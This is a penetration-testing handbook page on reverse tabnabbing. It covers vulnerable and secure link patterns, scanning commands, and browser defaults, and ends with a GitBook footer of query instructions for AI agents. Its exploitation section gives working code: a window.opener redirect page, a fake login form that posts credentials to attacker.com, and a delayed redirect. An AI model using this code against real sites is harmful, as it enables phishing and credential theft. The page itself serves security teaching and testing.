> For the complete documentation index, see [llms.txt](https://www.pentest-book.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentest-book.com/enumeration/web/tabnabbing.md).

# Tabnabbing

Tabnabbing (reverse tabnabbing) allows an attacker-controlled page to rewrite the content of a parent page, typically replacing it with a phishing site.

## How It Works

1. Victim clicks a link that opens in a new tab (`target="_blank"`)
2. The new page has access to `window.opener` (the original page)
3. Attacker's page executes: `window.opener.location = "https://phishing-site.com"`
4. Original tab silently redirects to phishing site
5. Victim returns to original tab, sees fake login, enters credentials

## Vulnerable Code Pattern

```html
<!-- VULNERABLE: No rel attribute -->
<a href="https://attacker.com" target="_blank">Click me</a>

<!-- VULNERABLE: Empty rel attribute -->
<a href="https://attacker.com" target="_blank" rel="">Click me</a>

<!-- VULNERABLE: Only noreferrer (still allows opener access in some browsers) -->
<a href="https://attacker.com" target="_blank" rel="noreferrer">Click me</a>
```

## Secure Code Pattern

```html
<!-- SECURE: noopener prevents window.opener access -->
<a href="https://external.com" target="_blank" rel="noopener">Click me</a>

<!-- SECURE: Both noopener and noreferrer -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click me</a>

<!-- SECURE: Modern browsers auto-add noopener, but explicit is better -->
```

## Detection

### Manual Testing

```bash
# Find vulnerable links
grep -rn 'target="_blank"' . | grep -v 'noopener'
grep -rn 'target=\\"_blank\\"' . | grep -v 'noopener'

# Check in browser DevTools
# Elements tab → search: target="_blank"
# Verify each has rel="noopener"
```

### Automated Scanning

```bash
# Using nuclei
nuclei -t http/vulnerabilities/generic/tabnabbing-check.yaml -u https://target.com

# Using custom grep on crawled pages
katana -u https://target.com -d 3 | while read url; do
  curl -s "$url" | grep -oP '<a[^>]*target="_blank"[^>]*>' | grep -v 'noopener'
done
```

## Exploitation

### Basic Attack Page

```html
<!-- attacker.com/evil.html -->
<!DOCTYPE html>
<html>
<head><title>Interesting Article</title></head>
<body>
<h1>Loading content...</h1>
<script>
if (window.opener) {
    // Redirect parent to phishing page
    window.opener.location = "https://attacker.com/phishing.html";
}
</script>
</body>
</html>
```

### Phishing Page

```html
<!-- attacker.com/phishing.html (looks like target) -->
<!DOCTYPE html>
<html>
<head><title>Target.com - Session Expired</title></head>
<body>
<h1>Your session has expired</h1>
<form action="https://attacker.com/capture" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <button type="submit">Login</button>
</form>
</body>
</html>
```

### Delayed Attack (More Stealthy)

```javascript
// Wait before redirecting (victim less likely to notice)
setTimeout(function() {
    if (window.opener) {
        window.opener.location = "https://attacker.com/phishing.html";
    }
}, 5000); // 5 seconds delay
```

## Attack Scenarios

| Scenario      | Description                                |
| ------------- | ------------------------------------------ |
| Forum posts   | User-submitted links with target="\_blank" |
| Comments      | Blog/article comment sections              |
| User profiles | Profile links to external sites            |
| Documentation | Links to external resources                |
| Email links   | Webmail rendering links                    |

## Browser Behavior

| Browser      | Default Behavior (2024+)   |
| ------------ | -------------------------- |
| Chrome 88+   | Implicitly adds `noopener` |
| Firefox 79+  | Implicitly adds `noopener` |
| Safari 12.1+ | Implicitly adds `noopener` |
| Edge 88+     | Implicitly adds `noopener` |

> **Note:** While modern browsers add implicit protection, explicit `rel="noopener"` is still recommended for older browser support and code clarity.

## window\.open() Vulnerability

```javascript
// VULNERABLE
window.open('https://attacker.com');

// SECURE
window.open('https://external.com', '_blank', 'noopener,noreferrer');
```

## Related Topics

* [XSS](/enumeration/web/xss.md) - Can be used to inject malicious links
* [Phishing](/others/social-engineering.md) - Tabnabbing enables phishing
* [CSRF](/enumeration/web/csrf.md) - Related browser security issues


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/tabnabbing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
